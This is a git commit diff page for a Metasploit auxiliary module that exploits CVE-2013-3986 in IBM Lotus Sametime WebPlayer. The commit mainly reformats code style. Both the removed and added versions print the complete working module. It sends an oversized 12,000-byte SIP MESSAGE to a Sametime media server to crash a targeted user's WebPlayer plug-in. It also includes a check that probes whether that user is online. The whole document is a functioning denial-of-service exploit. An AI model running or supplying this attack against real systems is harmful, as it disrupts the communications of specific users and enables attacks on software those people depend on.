Fixed code issues as requested in PR2801
Mostly coding style issues Re-tested in testbed - output as expectedbug/bundler_fix
parent
d0d82fe405
commit
b2f42d2576
|
@ -7,204 +7,204 @@ require 'msf/core'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Auxiliary
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
include Msf::Exploit::Remote::Tcp
|
include Msf::Exploit::Remote::Tcp
|
||||||
include Msf::Auxiliary::Dos
|
include Msf::Auxiliary::Dos
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'IBM Lotus Sametime WebPlayer DoS',
|
'Name' => 'IBM Lotus Sametime WebPlayer DoS',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits a known flaw in the IBM Lotus Sametime WebPlayer
|
This module exploits a known flaw in the IBM Lotus Sametime WebPlayer
|
||||||
version 8.5.2.1392 (and prior) to cause a denial of service condition
|
version 8.5.2.1392 (and prior) to cause a denial of service condition
|
||||||
against specific users. For this module to function the target user
|
against specific users. For this module to function the target user
|
||||||
must be actively logged into the IBM Lotus Sametime server and have
|
must be actively logged into the IBM Lotus Sametime server and have
|
||||||
the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a
|
the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a
|
||||||
browser extension. The user should have the WebPlayer plug-in active
|
browser extension. The user should have the WebPlayer plug-in active
|
||||||
(i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly.
|
(i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly.
|
||||||
|
|
||||||
RHOST Target should be the Sametime Media Server address and NOT the
|
RHOST Target should be the Sametime Media Server address and NOT the
|
||||||
web interface SIPURI should be in the format
|
web interface SIPURI should be in the format
|
||||||
<target_email_address>@<sametime_media_server_FQDN> (e.g.
|
<target_email_address>@<sametime_media_server_FQDN> (e.g.
|
||||||
targetuser%40targetdomain.com@stmedia.targetdomain.com
|
targetuser%40targetdomain.com@stmedia.targetdomain.com
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'kicks4kittens' # Metasploit module
|
'kicks4kittens' # Metasploit module
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Actions' =>
|
'Actions' =>
|
||||||
[
|
[
|
||||||
['DOS'],
|
['DOS'],
|
||||||
['CHECK']
|
['CHECK']
|
||||||
],
|
],
|
||||||
'DefaultAction' => 'DOS',
|
'DefaultAction' => 'DOS',
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
[ 'CVE', '2013-3986' ],
|
[ 'CVE', '2013-3986' ],
|
||||||
[ 'OSVDB', '99552' ],
|
[ 'OSVDB', '99552' ],
|
||||||
[ 'BID', '63611'],
|
[ 'BID', '63611'],
|
||||||
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21654041' ],
|
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21654041' ],
|
||||||
[ 'URL', 'http://xforce.iss.net/xforce/xfdb/84969' ]
|
[ 'URL', 'http://xforce.iss.net/xforce/xfdb/84969' ]
|
||||||
|
|
||||||
],
|
],
|
||||||
'DisclosureDate' => 'Nov 07 2013'))
|
'DisclosureDate' => 'Nov 07 2013'))
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Opt::RPORT(5060),
|
Opt::RPORT(5060),
|
||||||
OptString.new('SIPURI', [true, 'The SIP URI of the user to be targeted', \
|
OptString.new('SIPURI', [true, 'The SIP URI of the user to be targeted',
|
||||||
'<target_email_address>@<sametime_media_server_FQDN>']),
|
'<target_email_address>@<sametime_media_server_FQDN>']),
|
||||||
OptBool.new('CHECKUSER', [ true, 'Validate user is logged into Sametime', true]),
|
OptBool.new('CHECKUSER', [ true, 'Validate user is logged into Sametime', true]),
|
||||||
OptInt.new('TIMEOUT', [ true, 'Set specific response timeout', 0])
|
OptInt.new('TIMEOUT', [ true, 'Set specific response timeout', 0])
|
||||||
], self.class)
|
], self.class)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def setup
|
||||||
|
# cleanup SIP target to ensure it's in the correct format to use
|
||||||
|
@sipuri = datastore['SIPURI']
|
||||||
|
if @sipuri[0,4].downcase == "sip:"
|
||||||
|
# remove sip: if present in string
|
||||||
|
@sipuri = @sipuri[4,@sipuri.length]
|
||||||
|
end
|
||||||
|
if @sipuri[0,12].downcase == "webavclient-"
|
||||||
|
# remove WebAVClient- if present in string
|
||||||
|
@sipuri = @sipuri[12,@sipuri.length]
|
||||||
end
|
end
|
||||||
|
|
||||||
def setup
|
end
|
||||||
# cleanup SIP target to ensure it's in the correct format to use
|
|
||||||
@sipuri = datastore['SIPURI']
|
|
||||||
if @sipuri[0,4].downcase == "sip:"
|
|
||||||
# remove sip: if present in string
|
|
||||||
@sipuri = @sipuri[4,@sipuri.length]
|
|
||||||
end
|
|
||||||
if @sipuri[0,12].downcase == "webavclient-"
|
|
||||||
# remove WebAVClient- if present in string
|
|
||||||
@sipuri = @sipuri[12,@sipuri.length]
|
|
||||||
end
|
|
||||||
|
|
||||||
|
def checkuser
|
||||||
|
# used to check the user is logged into Sametime and after DoS to check success
|
||||||
|
length = Rex::Text.rand_text_numeric(2) # just enough to check response
|
||||||
|
msg = create_message(length)
|
||||||
|
|
||||||
|
print_status("Checking if targeted user #{@sipuri} is online")
|
||||||
|
res = send_msg(msg)
|
||||||
|
|
||||||
|
# check response for current user status - common return codes
|
||||||
|
if res.nil?
|
||||||
|
print_error("No response recevied from server")
|
||||||
|
return false
|
||||||
|
elsif res =~ /430 Flow Failed/i
|
||||||
|
print_good("User #{@sipuri} is no longer responding (already DoS'd?)")
|
||||||
|
return false
|
||||||
|
elsif res =~ /404 Not Found/i
|
||||||
|
print_error("User #{@sipuri} is currently offline or not in a Sametime video session")
|
||||||
|
return false
|
||||||
|
elsif res =~ /200 OK/i
|
||||||
|
print_good("User #{@sipuri} is online")
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
print_error("Unknown server response")
|
||||||
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
def checkuser
|
end
|
||||||
# used to check the user is logged into Sametime and after DoS to check success
|
|
||||||
length = Rex::Text.rand_text_numeric(2) # just enough to check response
|
def run
|
||||||
|
|
||||||
|
# inform user of action currently selected
|
||||||
|
print_status("Action: #{action.name} selected")
|
||||||
|
|
||||||
|
if datastore['CHECKUSER'] or action.name == 'CHECK'
|
||||||
|
# check the user is online without DOS
|
||||||
|
response = checkuser
|
||||||
|
else
|
||||||
|
print_status("User check disabled, continuing with DoS against #{@sipuri}")
|
||||||
|
response = true # no check performed
|
||||||
|
end
|
||||||
|
|
||||||
|
unless action.name == 'CHECK' # only proceed if action not set to CHECK
|
||||||
|
if response
|
||||||
|
# checkuser explicitly disabled or user is online
|
||||||
|
|
||||||
|
print_status("Targeting user: #{@sipuri}")
|
||||||
|
print_status("Sending DoS packet to #{rhost}:#{rport}")
|
||||||
|
|
||||||
|
length = 12000 # enough to overflow the end of allocated memory
|
||||||
msg = create_message(length)
|
msg = create_message(length)
|
||||||
|
|
||||||
print_status("Checking if targeted user #{@sipuri} is online")
|
|
||||||
res = send_msg(msg)
|
res = send_msg(msg)
|
||||||
|
|
||||||
# check response for current user status - common return codes
|
if res.nil?
|
||||||
if not res or res.nil?
|
if datastore['CHECKUSER'] # check user AFTER DoS
|
||||||
print_error("No response recevied from server")
|
print_good("User #{@sipuri} is no longer responding")
|
||||||
return false
|
else
|
||||||
|
print_good("No response from server. User is offline or server doesn't respond")
|
||||||
|
end
|
||||||
elsif res =~ /430 Flow Failed/i
|
elsif res =~ /430 Flow Failed/i
|
||||||
print_good("User #{@sipuri} is no longer responding (already DoS'd?)")
|
print_good("DoS packet successful. Response received (430 Flow Failed)")
|
||||||
return false
|
print_good("User #{@sipuri} is no longer responding")
|
||||||
elsif res =~ /404 Not Found/i
|
elsif res =~ /404 Not Found/i
|
||||||
print_error("User #{@sipuri} is currently offline or not in a Sametime video session")
|
print_error("DoS packet appears successful. Response received (404 Not Found)")
|
||||||
return false
|
print_status("User appears to be currently offline or not in a Sametime video session")
|
||||||
elsif res =~ /200 OK/i
|
elsif res =~ /200 OK/i
|
||||||
print_good("User #{@sipuri} is online")
|
print_error("DoS packet unsuccessful. Response received (200)")
|
||||||
return true
|
print_status("Check user is running an effected version of IBM Lotus Sametime WebPlayer")
|
||||||
else
|
|
||||||
print_error("Unknown server response")
|
|
||||||
return false
|
|
||||||
end
|
end
|
||||||
|
else
|
||||||
|
print_error("Check failed, ensure user is online")
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
def run
|
def create_message(length)
|
||||||
|
# create SIP MESSAGE of specified length
|
||||||
|
vprint_status("Creating SIP MESSAGE packet #{length} bytes long")
|
||||||
|
|
||||||
# inform user of action currently selected
|
suser = Rex::Text.rand_text_alphanumeric(rand(8)+1)
|
||||||
print_status("Action: #{action.name} selected")
|
shost = Rex::Socket.source_address(datastore['RHOST'])
|
||||||
|
src = "#{shost}:#{datastore['RPORT']}"
|
||||||
|
cseq = Rex::Text.rand_text_numeric(3)
|
||||||
|
message_text = Rex::Text.rand_text_alphanumeric(length.to_i)
|
||||||
|
branch = Rex::Text.rand_text_alphanumeric(7)
|
||||||
|
|
||||||
if datastore['CHECKUSER'] or action.name == 'CHECK'
|
# setup SIP message in the correct format expected by the server
|
||||||
# check the user is online without DOS
|
data = "MESSAGE sip:WebAVClient-#{@sipuri} SIP/2.0" + "\r\n"
|
||||||
response = checkuser
|
data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{"%.8x" % rand(0x100000000)};rport;alias" + "\r\n"
|
||||||
else
|
data << "Max-Forwards: 80\r\n"
|
||||||
print_status("User check disabled, continuing with DoS against #{@sipuri}")
|
data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n"
|
||||||
response = true # no check performed
|
data << "From: sip:#{suser}@#{src};tag=70c00e8c" + "\r\n"
|
||||||
end
|
data << "Call-ID: #{rand(0x100000000)}@#{shost}" + "\r\n"
|
||||||
|
data << "CSeq: #{cseq} MESSAGE" + "\r\n"
|
||||||
|
data << "Content-Type: text/plain;charset=utf-8" + "\r\n"
|
||||||
|
data << "User-Agent: #{suser}\r\n"
|
||||||
|
data << "Content-Length: #{message_text.length}" + "\r\n\r\n"
|
||||||
|
data << message_text
|
||||||
|
|
||||||
unless action.name == 'CHECK' # only proceed if action not set to CHECK
|
return data
|
||||||
if response
|
end
|
||||||
# checkuser explicitly disabled or user is online
|
|
||||||
|
|
||||||
print_status("Targeting user: #{@sipuri}")
|
def timing_get_once(s, length)
|
||||||
print_status("Sending DoS packet to #{rhost}:#{rport}")
|
if datastore['TIMEOUT'] and datastore['TIMEOUT'] > 0
|
||||||
|
return s.get_once(length, datastore['TIMEOUT'])
|
||||||
length = 12000 # enough to overflow the end of allocated memory
|
else
|
||||||
msg = create_message(length)
|
return s.get_once(length)
|
||||||
res = send_msg(msg)
|
|
||||||
|
|
||||||
if not res or res.nil?
|
|
||||||
if datastore['CHECKUSER'] # check user AFTER DoS
|
|
||||||
print_good("User #{@sipuri} is no longer responding")
|
|
||||||
else
|
|
||||||
print_good("No response from server. User is offline or server doesn't respond")
|
|
||||||
end
|
|
||||||
elsif res =~ /430 Flow Failed/i
|
|
||||||
print_good("DoS packet successful. Response received (430 Flow Failed)")
|
|
||||||
print_good("User #{@sipuri} is no longer responding")
|
|
||||||
elsif res =~ /404 Not Found/i
|
|
||||||
print_error("DoS packet appears successful. Response received (404 Not Found)")
|
|
||||||
print_status("User appears to be currently offline or not in a Sametime video session")
|
|
||||||
elsif res =~ /200 OK/i
|
|
||||||
print_error("DoS packet unsuccessful. Response received (200)")
|
|
||||||
print_status("Check user is running an effected version of IBM Lotus Sametime WebPlayer")
|
|
||||||
end
|
|
||||||
else
|
|
||||||
print_error("Check failed, ensure user is online")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
def create_message(length)
|
def send_msg(msg)
|
||||||
# create SIP MESSAGE of specified length
|
|
||||||
vprint_status("Creating SIP MESSAGE packet #{length} bytes long")
|
|
||||||
|
|
||||||
suser = Rex::Text.rand_text_alphanumeric(rand(8)+1)
|
begin
|
||||||
shost = Rex::Socket.source_address(datastore['RHOST'])
|
s = connect
|
||||||
src = "#{shost}:#{datastore['RPORT']}"
|
# send message and store response
|
||||||
cseq = Rex::Text.rand_text_numeric(3)
|
s.put(msg + "\r\n\r\n") rescue nil
|
||||||
message_text = Rex::Text.rand_text_alphanumeric(length.to_i)
|
# read response
|
||||||
branch = Rex::Text.rand_text_alphanumeric(7)
|
res = timing_get_once(s, 25)
|
||||||
|
if res == "\r\n"
|
||||||
# setup SIP message in the correct format expected by the server
|
# retry request
|
||||||
data = "MESSAGE sip:WebAVClient-#{@sipuri} SIP/2.0" + "\r\n"
|
res = timing_get_once(s, 25)
|
||||||
data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{"%.8x" % rand(0x100000000)};rport;alias" + "\r\n"
|
end
|
||||||
data << "Max-Forwards: 80\r\n"
|
return res
|
||||||
data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n"
|
rescue ::Rex::ConnectionRefused
|
||||||
data << "From: sip:#{suser}@#{src};tag=70c00e8c" + "\r\n"
|
print_status("Unable to connect to #{rhost}:#{rport}")
|
||||||
data << "Call-ID: #{rand(0x100000000)}@#{shost}" + "\r\n"
|
rescue ::Errno::ECONNRESET
|
||||||
data << "CSeq: #{cseq} MESSAGE" + "\r\n"
|
print_status("DoS packet successful. #{rhost} not responding.")
|
||||||
data << "Content-Type: text/plain;charset=utf-8" + "\r\n"
|
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||||
data << "User-Agent: #{suser}\r\n"
|
print_status("Couldn't connect to #{rhost}:#{rport}")
|
||||||
data << "Content-Length: #{message_text.length}" + "\r\n\r\n"
|
ensure
|
||||||
data << message_text
|
# disconnect socket if still open
|
||||||
|
disconnect if s
|
||||||
return data
|
|
||||||
end
|
|
||||||
|
|
||||||
def timing_get_once(s, length)
|
|
||||||
if datastore['TIMEOUT'] and datastore['TIMEOUT'] > 0
|
|
||||||
return s.get_once(length, datastore['TIMEOUT'])
|
|
||||||
else
|
|
||||||
return s.get_once(length)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def send_msg(msg)
|
|
||||||
|
|
||||||
begin
|
|
||||||
s = connect
|
|
||||||
# send message and store response
|
|
||||||
s.put(msg + "\r\n\r\n") rescue nil
|
|
||||||
# read response
|
|
||||||
res = timing_get_once(s, 25)
|
|
||||||
if res == "\r\n"
|
|
||||||
# retry request
|
|
||||||
res = timing_get_once(s, 25)
|
|
||||||
end
|
|
||||||
return res
|
|
||||||
rescue ::Rex::ConnectionRefused
|
|
||||||
print_status("Unable to connect to #{rhost}:#{rport}")
|
|
||||||
rescue ::Errno::ECONNRESET
|
|
||||||
print_status("DoS packet successful. #{rhost} not responding.")
|
|
||||||
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
||||||
print_status("Couldn't connect to #{rhost}:#{rport}")
|
|
||||||
ensure
|
|
||||||
# disconnect socket if still open
|
|
||||||
disconnect if s
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue